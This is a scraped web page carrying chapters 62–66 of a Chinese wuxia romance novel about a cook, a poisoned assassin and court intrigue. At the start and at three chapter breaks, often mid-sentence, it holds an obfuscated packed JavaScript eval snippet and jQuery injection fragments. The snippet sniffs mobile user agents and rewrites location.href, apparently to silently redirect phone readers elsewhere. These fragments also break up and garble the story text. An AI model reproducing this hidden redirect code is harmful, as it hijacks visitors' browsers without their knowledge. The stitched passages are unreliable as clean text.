d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556748|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙忙出了门。 赶到天下第一楼的时候，齐知秋正守在一楼等她，见到她来了，她直接站起来抓住她的手，牵起她便往楼上走。 三州堇璱被安排在了天下第一楼最高的地方，暂时住进了齐知止平时留宿酒楼时住的房间。 刚打开门便闻到一股浓烈的药味，那药的味道很是苦涩，沐毓露吸了吸鼻子，然后皱起了眉。 齐知秋往前快走了两步，掀开笼在床前的纱帘，轻声对沐毓露道：“他的状况很不好。” “哥哥略懂一些医术，昨晚帮他处理了一下伤口，虽然止住了血，但医治的都只是一些皮外伤，真正麻烦的是他体内的寒毒，若是不尽快压制住毒素，他很有可能保不住性命。” 沐毓露也行至床前，垂首注视着躺在床上看起来毫无生机的三州堇璱。 他身上的伤都已经包扎好了，不过脸色比昨天晚上还要苍白，眉头紧蹙着，完全没有要醒过来的迹象，整个人看起来像极了一件易碎的瓷器。 在见到三州堇璱的真容之前，齐知秋对他是很有敌意的，然而在看见他面具底下的那张脸之后，她的态度发生了翻天覆地的变化。 现在的她看起来比沐毓露还要担心三州堇璱的伤势：“昨天晚上全城戒严，我们也不好去请大夫，今天一早哥哥就回去想办法了。” 沐毓露抬首望了她一眼：“他身上的寒毒寻常的大夫可以解吗？” 齐知秋摇了摇头：“我不知道，哥哥也只是说回去想办法，我也不知道他有什么办法。” 沐毓露轻轻地叹了口气，再次将目光落回三州堇璱身上。 不知道是身上的伤势所致，还是因为体内寒毒侵扰，他的呼吸看起来非常艰难，偶尔吸气时还会带起一阵压抑的轻咳。 此时已经入夏，室内有些闷热，他身上还盖着厚厚的被子，屋角也立着两个正在燃烧的火盆。 可饶是如此，他似乎还是冷得发抖，不见一点血色的双唇一直在微微颤抖着。 沐毓露在床沿坐下，碰了碰他盖在被子底下的手，刚一触碰到他的手指便感到一阵刺骨的冰凉，她微微一顿，然后轻轻地握住了他的手。 就这样静静地在床前坐了一会儿，沐毓露想要起身为他倒一杯热水，没想到刚一松开他的手，便被他反手握住了。 他分明仍旧处于昏睡当中，也不知道是从哪里来的力气，就像是溺水的人抓住了救命稻草，攥住了她的手便不肯松开。 沐毓露稍微挣扎了一下，他反而攥得更紧了。于是她也就不再挣扎，任由他握住自己的手，就这样坐在床沿，抬起另一只手安抚地轻轻拍着他的胸口。 他原本紧蹙的眉头竟然在她的安抚下渐渐舒展开来，神情看起来也放松了许多，不像最初那般紧绷痛苦了。 齐知秋注视着眼前这一幕，张了张嘴想说些什么，最终却还是一个字也没有说，默默地转身走了出去，轻轻地关上了门。 63. 第63章 齐知止赶回天下第一楼的时候已至正午。 沐毓露怎么也没有想到，他搬来的救兵竟然是齐夫人。 听见门外脚步声响起的同时，她猛地将手从三州堇璱手里抽出来，刚站起身来便看见齐知止推门而入，而齐夫人就紧随在他的身后。 她下意识抬起另一只手，掩盖住右手被三州堇璱攥出来的浅浅的红痕，齐知止不动声色地望了一眼她的动作，什么也没有说，只是垂首仔细地扶着齐夫人走进来。 齐夫人进屋后先扫了沐毓露一眼，然后将目光移到躺在床上的三州堇璱身上，随即她就皱起了眉：“我只能暂时帮他压制住毒素蔓延的速度，并不能真正祛除寒毒。而且他现在的状况很不好，即便只是压制毒素，我也不能确保一定成功。” 她三言两语就交代清楚了情况，沐毓露在旁边听得心里一沉。 齐知止上前一步道：“劳烦母亲了，还请您尽力一试。” 齐知秋也在旁边道：“母亲您可一定要救救他呀，有什么需要我们帮忙的您尽管说！” 齐夫人放下手中的药匣，“成与不成的要试了才知道，我现在也不确定救不救得了他。你们都出去，别在旁边碍手碍脚的。” 说完她转头瞪了齐知秋一眼：“你等下随我一起回府。” 齐知秋啊了一声，正要拒绝，又听见齐夫人道：“他虽然受伤昏迷，但到底是个外男，你一个未出阁的女子守在这里算怎么回事？还要不要脸面了？” 听到她这番话后齐知止先是脸色一变，然后转首望了沐毓露一眼，没想到沐毓露却是面色平静，像是完全没有听见她说什么似的。 不过就连齐知止都听得出来，齐夫人这番话摆明了是在指桑骂槐，表面上指责的是齐知秋，实际上说的却是沐毓露。 沐毓露又怎么可能听不出来呢。 不过此刻最令她感到担忧的是三州堇璱的伤势，因此齐夫人这两句阴阳怪气的话落在她的耳朵里可以说是不痛不痒。 齐知秋却丝毫没有注意到房间里的暗流涌动，她张嘴还要反驳，却被齐知止一把拦住。 同齐夫人道了一句母亲辛苦，他拉着齐知秋的手便往屋外走。 沐毓露不放心地望了三州堇璱一眼，沉默地跟在齐知止兄妹身后出了门。 齐夫人在屋内帮三州堇璱压制寒毒，沐毓露三人便老老实实在门口守着。 齐知秋不满地甩开齐知止的手：“母亲刚才说的那些话好没道理，你为什么不让我反驳？” 齐知止没有与她多说什么，只用一句话就让她闭上了嘴：“三州堇璱已经虚弱至极，性命危在旦夕，你若是想让他死得快一点，那就尽管去和母亲闹。” 齐知秋不服气地将双臂抱在胸前，转过头哼了一声，到底还是闭上了嘴。 他们兄妹二人在这里拌嘴，沐毓露始终没有插话，她很安静地守在门口，脸上的表情自始至终都没有什么明显的变化。 但反而是这样安静的她才让齐知止感到担心，他陪着她在原地站了一会儿，然后开口轻声安慰她：“母亲年轻时曾拜过一位女先生为师，那位女先生精通医术，最关键的是，当时她是这世上唯一一位能够解除三州阁各种奇毒之人。” “母亲并未将她的一身本事全部习来，因此不能彻底祛除三州堇璱身上的寒毒，不过暂时压制住毒素蔓延的速度，对她来说应当不是什么难事。” 齐知止这番话显然是宽慰到了沐毓露，她抬首冲他一笑，终于提起了一些精神，好奇地问：“三州阁是什么？就是三州堇璱所在的那个神秘组织么？” 齐知止点了点头：“但凡是江湖中人，肯定都听说过三州阁的名号。那是一个名声显赫并且神秘无比的杀手组织，它的势力遍布五湖四海，只要银两给到位，不管什么愿望它都可以帮你实现。” 齐知秋在旁边竖着耳朵听，听到这里也起了兴致，转头问齐知止：“三州阁有这么厉害？那它是如何选拔培养那些杀手的？” 见齐知秋和沐毓露都是一幅很感兴趣的样子，齐知止将他知道的一切娓娓道来：“三州阁中的杀手主要分为两类，一类是武功高强的江湖人士，他们或为了躲避仇家追杀，或想要通过三州阁扬名立万，当然也有人单纯为了赚取大笔的佣金，所以选择加入这个组织。” “另一类人则是从小在三州阁中长大，由三州阁的人亲自培养，通过重重考验后才可以接取任务并且获得佣金。不过据说这些考验极为严苛，每年能够通过考核的人十不存一。” 齐知秋越听越好奇，问出了沐毓露也想问的问题：“那三州堇璱属于前者还是后者？” 齐知止笃定地道：“他是后者。” 这回是沐毓露忍不住先发问：“为什么？” 齐知止解释道：“因为只有后者才能冠以三州之姓，当然了，也是因为他们绝大多数都是孤儿，压根不知道自己的姓氏，也许对于他们来说三州阁便是这腥风血雨的江湖中家一般的存在吧。” “家一般的存在吗？”沐毓露转首望向身后的门，此刻三州堇璱就躺在这个门后，正饱受着寒毒之苦。 她喃喃地道：“方才我听你说，齐夫人的师父能解三州阁所有奇毒，也就是说三州堇璱体内的寒毒是三州阁所下？若三州阁对于他们而言是家一般的存在，又怎么会给他们下如此厉害的毒。” 齐知止叹了口气，颇为感慨地道：“如三州堇璱这般的绝世高手，若不以毒控制他，还有什么东西能够牵制住他？只要中了三州阁的奇毒，不管他有多厉害，都始终只是这个组织中的一枚棋子。” 说到这里他推测道：“这些杀手大概率每过一段时间就要向组织领取解药，此番三州堇璱体内的寒毒应该是提前发作了，且他自己也没有料到会提前发作，否则他是不会在没有领取解药的情况下去执行任务的。” 沐毓露蹙了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562298|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹙眉：“什么样的情况下寒毒才会提前发作？” 齐知止还没有来得及开口，身后的门发出吱呀一声响，紧接着传来齐夫人的声音：“寒毒会提前发作，只有一种可能，那就是他服用此毒的时间至少有十年之久，就连解药都难以压制住他体内堆积的毒素。” “继续这样下去，他发作的时间间隔只会越来越短，终有一日即便是三州阁的解药也救不了他的命。” 见到齐夫人出来，齐知秋踮起脚尖朝屋里面望，“母亲，你暂时把他体内的寒毒压制住了吗？他应当暂时没有生命危险了吧？” 齐夫人略有些疲惫地点了点头，将手中的药匣递给齐知秋，“你们两个在这里等我。” 然后她转头对沐毓露道：“沐小姐，我有一些话想单独跟你讲。” 沐毓露原本也在探着脑袋往屋里面看，听见齐夫人这样说，她有些诧异地收回目光，不明所以地点了点头。 齐夫人转身向走廊的另一端走去，沐毓露赶紧抬步跟上。 直到行至走廊尽头，离齐知止兄妹有很长一段距离，齐夫人才停下了步子，背对着沐毓露轻轻地吸了一口气。 然后她回身望着她，一字一句地道：“沐大小姐，我救了三州堇璱一命，也算是有恩于你，我没有别的请求，只求你离我儿子远一点。” 沐毓露倒是没有想到她会将话说得如此直白，连一点拐弯抹角的意思都没有，这倒让她一时间不知道该如何回答了。 齐夫人见她默不作声，于是继续近乎恳求地道：“我之所以愿意出手助三州堇璱压制体内寒毒，是因为我的儿子为了你在我面前苦苦求了半日，这一点我相信你不是猜不到。昨晚的情况到底有多危险，想必你自己也清楚。” “我只有一个问题，你为什么要一而再再而三地让我的儿子深陷险境？算我求你了，放过他吧，好不好？” 沐毓露连忙道：“夫人言重了，您所说的我都明白，我也不希望齐公子身涉险境。” 听见沐毓露这样说，齐夫人的眼神里流露出些许怀疑。她原本以为沐毓露如她父亲沐玉罡一般满腹诡计，在齐知止身上使一些欲擒故纵的手段，这才引得她儿子对她念念不忘，不惜以身涉险也要救她于危难。 然而此刻观察沐毓露的神情，她忽然对自己的想法产生了一丝怀疑，难道不是沐毓露对齐知止使尽手段，而是自己的儿子对她死缠烂打？ 她自然是不愿意相信这一点的。 她觉得沐毓露还在她面前表演。 却听沐毓露继续诚恳地道：“您说的都没有错，昨天晚上的情况确实很危险，我真的能够理解您的心情。而且您救了三州堇璱一命，的确是我们的恩人，我应当谢您才是。” 说着她便朝齐夫人行了一个大礼，“即便方才您不说那些话，我自己心里也有分寸，这样的事情绝不会再有第二次，我绝对不会再让齐公子陷入这样的险境了。” 64. 第64章 虽然说人心中的成见是一座大山，但真诚同样是无解的必杀技。沐毓露诚恳的态度显然多少打动了齐夫人，她的面色缓和了许多。 “我有一师妹，名徐在野，她也是自小就跟在我师父身边，学得一身的本事。”齐夫人忽然说道：“若说当今世上还有谁能彻底解除三州阁的寒毒，那恐怕就只有她了。” 顿了顿，她继续说道：“不过我离开师父身边的时候师妹年纪还很小，我已经有很久没有联系过她了，并不确定她到底有没有习得师父的一身医术，只能告诉你有这个可能。” 沐毓露点了点头，再次恭恭敬敬地向她行了一礼，不再多说什么。 自从昨晚在追兵手底下死里逃生后，沐毓露的心态变得平和了许多，齐夫人之前说的那些话倒是真的没有伤害到她，她现在也是发自真心感谢齐家人。 齐夫人仔细地打量了她一番，不再多说什么，走回去拉着齐知秋离开了天下第一楼。 齐知秋自然是不愿意回去的，无奈齐夫人的态度太过强硬，她怎么也拗不过母亲，只好哭哭啼啼地随她离开了。 随着齐知秋的离去，走廊里瞬间安静了下来，沐毓露和齐知止相对而立，谁都没有开口说话，一时间气氛有些尴尬。 最后还是齐知止先开口问道：“方才我母亲同你说了些什么？” 沐毓露抬头望了他一眼，沉默地思索了一下，又望了他一眼，然后才开口道：“齐夫人让我以后与你保持距离，不要再把你拖入昨天那样的险境了。” 齐知止望着她笑了一下：“你方才那样看着我，我还以为你不愿意告诉我。” 沐毓露挑了挑眉：“我本来是不想告诉你来着，但转念一想，你见事洞若观火，脑子转得又快，即便我什么都不跟你讲，你自己也猜得出来。” 她认真地对齐知止道：“与其等你猜出来了我再刻意隐瞒，不如现在就坦诚告知。我知道你是一个很理智的人，是不会因为齐夫人对我说了那些话就跑回去同她闹的。” 齐知止又笑了笑，只不过这一次笑意里有些许苦涩：“你倒是很了解我。” 沐毓露抿了抿嘴，轻轻地叹了口气，然后继续说道：“齐公子，既然今天已经把话说到这里了，那我们索性敞开了谈一谈。” 齐知止似乎早已猜到沐毓露想说什么，不过他没有把话挑明，而是示意沐毓露继续往后说。 沐毓露直接道：“齐公子，我对你无意。” “昨晚你不顾危险出手相救，我是很感激你的，但在我的心目当中一直都拿你当朋友。”她的声音很平静，每一个字都说得十分清楚：“今日你帮了我的忙，来日我也愿意为朋友两肋插刀，我们是过命的交情，却并没有男女之情。” 她这话说得坦坦荡荡，每一句都不留任何遐想，却反而让齐知止难以释怀。 他沉默地注视了她一会儿，突然开口问了一句：“那在你心目当中，与三州堇璱又是什么样的交情？” 沐毓露怔了一下，她没有想到齐知止会把话题扯到三州堇璱身上去，同样沉默了一会儿之后，她摇了摇头，坦诚地道：“我不知道，但我有我的计划，也有我的目标，十年之内应该都不会有成婚嫁人的想法。” 十年只是她的保守估计，她想要逃离沐府获得自由，想要在这一方天地站稳脚跟，想要不依附于任何人好好地活着，这些目标恐怕要花上一生的时间去实现。 其实她已经做好了终生不嫁的准备。 见她的态度如此坚决，齐知止不再多说什么，他将目光移到别处，似乎是很快就调整好了心态，再回过头来时，他的脸上又恢复了往常那般潇洒不羁的笑意：“虽然母亲让你同我保持距离，但我三日后就要离开朱雀国了，作为朋友，你还是会来参加我的践行宴吧？” 沐毓露见他调整得如此之快，也笑着点了点头：“我已经答应过你了，自然不会爽约。” 接下来两天过得十分平静。 三皇子生辰宴上的那一场风波对于普通老百姓来说只是茶余饭后的谈资而已，比起这些皇室密辛，他们更感兴趣的居然是在生辰宴上名声大噪的那一味鸡汤煨豆腐。 原本这道菜便是天下第一楼的招牌菜，自从它上过宫宴的餐桌之后，变得更加炙手可热起来，如今想要吃上这道菜得需要提前预定才行，而且预定的名额早已排到了一个月之后。 沐毓露这段时间几乎住在了天下第一楼。 齐知止涨了她的薪金，如今她每月除了领取固定的薪资之外，每做一道鸡汤煨豆腐，还可以额外获得一百文钱。 换算下来她只要做十道鸡汤煨豆腐，就可以多赚一两银子，若是每天都能多赚三四两银子，积攒下来可是一笔不小的收入。 如今大部分时间她都在后厨待着，闲时便上楼照顾三州堇璱。 两日后的傍晚，她做完当天最后一位客人的订单，照常上楼察看三州堇璱的情况，刚推开门便发现他已经从床上起来，穿着一身素衣在桌子边上坐着。 这是沐毓露第一次见到他穿白衣的模样。 夕阳的余晖从窗口照进房间，笼罩在他的身上，为他的白衣描上了一层朦胧的金边，更衬得他如天上贬落人间的谪仙。 才两日的时间他便消瘦了许多，这件衣裳穿在他的身上显得有些松垮，但反而为他平添了几分飘逸之姿。仿佛下一秒他就会化作天边的云，轻飘飘乘风而去。 沐毓露站在门口望着他的背影，就这样胡思乱想着，直到他有所察觉转过身来，她才轻咳了两声，迈步走进房间。 “你醒了？”她有些没话找话：“现在感觉如何？有没有哪里不舒服？” 三州堇璱摇了摇头，披散的长发从他的肩头滑落。他没有戴面具，一张苍白的脸仍旧没有血色，但是看起来比前两日有生机得多。 沐毓露望着他那张脸又恍了会儿神，好半天才回过神来。回过神来之后她有些不好意思地低下头，做出一副很忙的样子，一会儿拿起杯子，一会儿又摸摸茶壶：“水有些冷了，我给你取些热水来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568053|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却被三州堇璱一把握住了手。 他的手依然是冰凉的，轻轻地覆在她的手背上，传来一阵冷意。 沐毓露忍不住哆嗦了一下。 紧接着听见他清冽的嗓音响起：“你之前答应过，给我做鸡汤煨豆腐。” 沐毓露猛地抬起头来望着他。 ？？？ 她是真的没有想到，这人从昏迷中醒过来对她说的第一句话竟然就是让她去给他做鸡汤煨豆腐。 她也是真的没有料到，原来方才那位客人的订单并不是她今天做的最后一道菜。 怪她收工收早了。 她将手从三州堇璱手中抽回来，转过身便往厨房去，还顺便拿走了桌上的茶壶，去厨房给他灌了一壶热水。 除了鸡汤煨豆腐之外，她还给他做了两样清粥小菜，端上来的时候她发现三州堇璱还保持着方才的姿势，坐在椅子上出神地望着窗外的流云。 沐毓露将菜在桌子上放好，伸出手在他眼前晃了晃：“鸡汤煨豆腐可要趁热吃哦。” 他回过神来，反应了一下才拿起筷子。 沐毓露在他对面坐下，支着脑袋望着他。 “你可是一个杀手欸，杀手跟其他人同处一室的时候，不是应当很警觉么？”她的语气里带着点玩笑的意味：“怎么你的反应这么慢？” 三州堇璱喝了口粥：“你又不是其他人。” 沐毓露愣了一下，然后笑了笑：“是了，我们是同生共死过的人。” 话音落地，两个人都不再说话，沐毓露就这么支着脑袋望着三州堇璱，三州堇璱则一口一口认真地吃着桌上的菜。 看他那认真的模样，好像桌上放着的不是什么清粥豆腐，而是龙肝凤髓般珍稀的食材。 他就这样珍而重之地吃光了桌上的菜，连碗底的一粒米都没有放过。 放下筷子，他抬头注视着沐毓露，突然开口道：“我是七岁那年被师父领进三州阁的，在此之前我是一个无人教养的孤儿，独自在市井中流浪。” 沐毓露没想到他会突然同她说这些，她没有回应他什么，只是将手放下，坐直了身子认真地听他讲。 他的语速很慢，像是在费力地回忆那一段称得上久远的时光，声音也很轻，却少了一些平日的疏离：“从我有记忆起，我就在独自流浪了。遇见师父之前我当过乞丐，曾经沿街乞讨过，也偷过东西，在小巷子里和其他流浪的小孩儿打架。” “每一次我都打赢了，于是那一整片街道都是我的，只有我可以在那里偷东西，谁要是敢抢我的地盘，都会被我给打出去。” “不过就算是这样，我也常常是饥一顿饱一顿，有时候甚至两三天都吃不上一顿饭。我饿怕了，所以在进入三州阁之后，我最害怕的不是没日没夜的训练，也不是如屠宰场一般的杀手考核，我最怕的是没有饭吃。” “可是师父从来不让我吃饱，他说做一个杀手最重要的是要保持饥饿感，要记住自己一路是怎么走过来的，记住这是一个弱肉强食的世界。” 65. 第65章 听到这里沐毓露终于听不下去了，她觉得有必要纠正一下三州堇璱师父的错误观点，于是插话道：“可是我觉得做一个杀手最重要的就是填饱肚子。” 她的说话声将三州堇璱从久远的记忆中拉了回来，他的目光重新聚焦在了她的脸上。 她继续说道：“我觉得不光是做杀手，哪怕是做皇帝，最要紧的都是填饱肚子。人生在世最重要的不就是吃喝二字？” “你仔细想想，你最开始与人打架，不就是为了抢那一顿饭争那一口吃的么？难道你做了杀手之后理想就变了？变成要多杀一些人，成为江湖上最有名的杀手？如果是这样的话，那也太无聊了吧。” 她一字一句认真地道：“只要是个人，活在世界上，那他的第一要务就是要好好吃饭。” 三州堇璱盯着她看了好一会儿，然后他扬唇笑了：“所以你是第一个告诉我哪怕吃饱了也可以继续吃的人。” 沐毓露愣了一下，然后反应过来他说的是之前他夜探沐府，被她烤馒头片的香气吸引来吃了一顿夜宵的那一晚。 于是她也笑了：“那你今晚吃饱了吗？” 三州堇璱点了点头。 沐毓露又道：“以后我还会给你做的，你想吃什么都可以来找我，每一顿我都会让你吃得饱饱的，不吃完不许下桌。” 三州堇璱注视了她一会儿，无言地点了点头。 然后他转首望了一眼窗外的天色，“我要离开这里了，接下来你有什么打算？” 沐毓露也顺着他的目光望向窗外，抬手用食指敲了敲桌面，思索了一下之后说道：“那我送送你吧？送走你之后我就回沐府了。” 她没有同他多说什么，也没有告诉他自己的计划，只是让他知道此前的事并没有连累到她。 三州堇璱重新戴好面具，紧接着站起身来朝沐毓露伸出了手。 沐毓露不知道他这是什么意思，但还是将手搭在了他的掌心。 下一秒他将她拉了过来，揽着她的腰抱着她跃出窗户。 沐毓露惊慌失措地攥住他的衣襟，又觉得这样不甚安全，于是哆哆嗦嗦地伸出胳膊环住了他的腰，再一次跟一个八爪鱼似的缠在了他的身上。 风声在耳边呼啸，她吓得闭上眼睛，扯着嗓门问他：“你要带我去哪里啊？” 三州堇璱的声音在她头顶响起，带着一点模糊的笑意：“你不是要回沐府么？我送你。” 说完他又补充了一句：“应该我送你回家才是。” 沐毓露紧了紧环在他腰间的手，大声地抗议：“哪有这样送人回家的？自从上次被你扔进湖里之后我就恐高了，我跟你讲这件事儿我记一辈子！” 三州堇璱放缓了速度，他轻声安慰她：“别怕，你可以睁开眼睛，这次我不会再松开手。” 他的手臂也环在她的腰际，微微收拢，将她更紧地揽在怀里，这给了她一点安全感，于是她颤抖着将眼睛睁开。 京城的夜景就这样在她的脚下铺陈开来。 大街小巷屋宇楼台，在或明或暗的灯光中模糊成一片片深浅交错的影，京城中央长街的灯火最为明亮，如游龙飞舞，其间的喧嚣之声隐隐浮上夜空。 虽然听不清底下的声音，但这万丈红尘的烟火气还是迎面扑来，照亮了沐毓露的眼睛。 她虽然就生活在脚下的红尘之中，却从未见过这样的风景，这还是她第一次在这么高的空中俯瞰自己生活的地方。 这震撼的景色令她忘记了害怕，她松开环在三州堇璱腰间的手，转而抱住他的胳膊，低下头贪婪地将这人间烟火都收入眼中。 沐毓露垂首看着脚下的风景，而三州堇璱垂首看着怀里的她。 他带着她旋身落下，停留在京城中央一座高楼的屋檐上，“喜欢的话就多看一会儿。” 他的声音一直很轻，跟平时不一样，好像总是怕吓着她似的，总带着一点安抚的味道。 沐毓露坐在屋檐上痴痴地望着脚下那一片流淌的光河，目光里有许多惊艳，还有一丝若隐若现的不舍。 她注定是要离开这里的，想到这一点，她的心里竟然也会升腾起些许留恋。 三州堇璱随她一起在屋檐上坐下，不知道是有意还是无意，他揽在她腰间的手并没有松开。 他仍旧侧首观察着沐毓露的表情，过了好一会儿才开口问她：“尽管舍不得这里，但还是想要离开么？” 沐毓露诧异地转过头来：“你怎么知道我想要离开。” 三州堇璱的声音从面具底下传出来，他先是低低地笑了一声，然后才回答道：“你住的地方很干净，干净得甚至有些空荡，你似乎不怎么给自己添置东西，这就说明你一直在做着离开这里的准备。” 沐毓露不服气地撅了撅嘴：“但这也有可能说明我是个穷鬼，根本就没有多余的银两添置东西。” 三州堇璱又笑了：“那好吧，你说什么就是什么。” 这一句话分明有些无奈，但是此刻从三州堇璱的嘴里说出来，莫名有一股纵容的味道。 沐毓露歪着脑袋不解地看着他：“你总是在笑什么？” 三州堇璱老老实实地回答：“我觉得你的面部肌肉很发达，一秒钟一个表情很好笑。” 沐毓露听罢抿了抿唇，无语地盯着他的面具看了半晌，然后抬起手气呼呼地摘下了他脸上的面具。 在她摘下面具的一瞬间，三州堇璱像上次一样下意识移开目光，有些逃避地将头偏到了一边。 不过这一次他并没有阻止她的动作，也破天荒地没有把面具抢回来重新戴上。 高楼檐角悬着的灯笼光晕朦胧，恰好映亮他半边轮廓，勾勒出清晰而利落的下颌线条。 这样好看的一张脸，第无数次让沐毓露看呆了眼。 她方才还一副气鼓鼓的样子，在看见他的脸之后心里的气瞬间消了大半，转而变为了好奇：“你长得这么好看，为什么每次摘你面具的时候你都很害怕的样子？” 她是真的很不理解：“怕我看见你的脸之后被美得晕过去么？” 三州堇璱垂眸将目光落在远方的一片璀璨处，过了许久才开口问她：“为什么突然摘我面具？” 摆明了不愿意回答她方才的问题。 沐毓露倒也没有继续追问，她耸了耸肩膀很无辜地道：“谁让你觉得我的表情好笑？你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574176|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能看见我的表情，我却看不见你的，我觉得这不公平。” 她这话又把三州堇璱逗笑了。 他终于回过头来看她，不知道为什么，沐毓露总觉得他的视线落在她的脸上，带着一些重量。 夜风掠过屋脊，拂过两人的衣衫，脚下那万丈红尘的喧声热浪依旧在流淌蒸腾，市肆的灯火将人影拉长又揉碎，汇成一片暖色汪洋。 而在这喧嚣之上，方寸屋檐之间，两人无言地长久对视着。 三州堇璱沉着目光，不知道是在思索些什么，而沐毓露纯粹是在认真地观赏他的美貌。 良久，他开口轻声地道：“面具送你了。” 沐毓露抓起手中的面具看了一眼，一脸的莫名其妙。 他没事送她面具干什么？ 三州堇璱眼中映着远处璀璨的灯火，又似乎只盛着屋顶这方寸之间的一点微光，那团光芒里倒映着沐毓露的身影。 他紧接着对她道：“我要回三州阁一趟，最多不超过十日就会赶回来，这期间你若是想要寻我，可以将面具交给天下第一楼的小唐，他有办法给我递消息。” 沐毓露惊讶地啊了一声：“小唐？他不是天下第一楼的伙计吗？” 三州堇璱点了点头：“同时他也是三州阁的线人。” 沐毓露沉默了。 这三州阁还真是神通广大，随便一个跑堂的居然是他们隐藏的线人。 三州堇璱注视着她，最后认真地道：“你若是不想嫁给穆衾寒，我可以带你离开这里。” 他望了一眼她手中的面具，那目光炙热得有些发烫：“随时都可以。” 这回轮到沐毓露逃避地移开视线了，她突然间觉得有点不敢与他对视，垂首盯着自己的裙角，她语速极快地回应着他：“我确实想离开这里，但目前我还没有到走投无路的地步，如果可以的话，我还是想自己攒下一些银两，存一些安身立命之本，然后再离开。” 说完她飞速地瞟了他一眼，见他还在目光专注地望着自己，她又飞快地低下头，攥紧了手中的面具：“不过这面具你已经送给我了，就不能再收回去，说不定以后还有用得着你的地方，你可随时都要做好报恩的准备。” 三州堇璱又低低地笑了起来，声音轻得几乎要飘散在风里：“放心，我记得你的恩情，随时准备好报恩。” 说完，他环在沐毓露腰间的手臂无声地收拢了几分，“我要走了，也该送你回去了，抱紧我。” 听见“抱紧我”这三个字，沐毓露几乎条件反射地扑进了三州堇璱的怀里，双手牢牢地抱住他，脑袋也紧紧地贴在他的胸膛上。 上一次三州堇璱说这句话时带着她飞掠出了皇宫，她至今都还记得那将周遭的景物都飞出了残影的速度有多快。 在两人飞身而起的同时，灯火最盛的长街深处，穆衾寒站在街角相对清静的灯笼铺子面前，仰首注视着屋檐上的这一幕。看见沐毓露扑进三州堇璱怀里的一瞬间，他的目光里透出一股沉沉的冷意。 周遭的喧闹似乎自动在他身侧退开，辟出一圈寂静的空间。他就这样抬首看了片刻，然后极轻地垂下了眼睫，头也不回地转身离去。 66. 第66章 夜已经深了，朱雀皇宫灯火寥落，皇帝的寝宫尤为暗沉。它立于幽静的皇宫深处，黑沉得像是一头会吞噬人生命的巨兽。 寝殿里的空气凝滞沉重，弥漫着一股浓烈得化不开的奇怪味道，那味道似药非药，还掺杂着一丝奇异的香气，不过这样浓烈的味道依旧掩盖不住从龙榻上传来的腐朽之气。 一阵脚步声打破了殿中的死寂，穆衾寒自殿外的浓浓夜色中走来，没入殿内更为幽深的黑暗之中。 这似乎是连月光都畏惧涉足的所在，沉沉的黑暗笼罩了寝殿里的每一处角落，所有的事物都隐藏在这令人看不分明的黑暗之中。 穆衾寒的目光却敏锐地扫向了床畔阴影里与黑暗融为一体的身影。 那是为皇帝续命的蛊女。 他注视着她，声音如这夜色一般阴沉：“陛下圣体如何？” 阴影中的蛊女微微动了动，像是无声的提线木偶。她没有出声回答，只是缓缓地摇了摇头。 虽然殿内没有一丝光亮，但穆衾寒还是明白了那蛊女的意思，他似乎是有些头疼，抬起手揉了揉自己紧皱的眉心，“把蜡烛点燃，有圣旨需要陛下过目。” 他话音刚落，便有几个身影自寝殿的角落走出，小心翼翼地点燃了蜡烛。 几盏宫灯在巨大宫室的角落发出微弱的光亮，豆大的火苗安静地燃烧着，看起来有几分可怜。 蛊女给皇帝续命用的蛊虫十分奇怪，吹不得风也见不得光，因此平日里这座寝殿门窗一律紧闭，日常也不会点灯，即便有时需要点燃蜡烛，也会像今日这般只在角落里点亮几束微弱的火苗。 穆衾寒往前走了几步，靠近龙榻旁那层层叠叠的玄色帐幔，将手中拟好的圣旨递给了守在榻前的蛊女。 那些层层堆叠的帐幔也是用来防风的，它们将龙床紧紧围住，只留出一条缝隙，看起来倒像是一个幽暗的囚笼。 那蛊女不知在圣旨上洒了些什么药水，一些小虫子从她的袖子里钻出来，在圣旨上爬了一圈，然后又乖乖地排队钻了回去。 做完这一切之后，蛊女才点了点头，随即两名宫人上前，轻轻拉开了龙榻前的帐幔。 帐幔拉开之后，卧在床上的皇帝转过了脑袋，睁大了眼睛瞪着穆衾寒：“你还记得来看我？你干脆当我死了算了。” 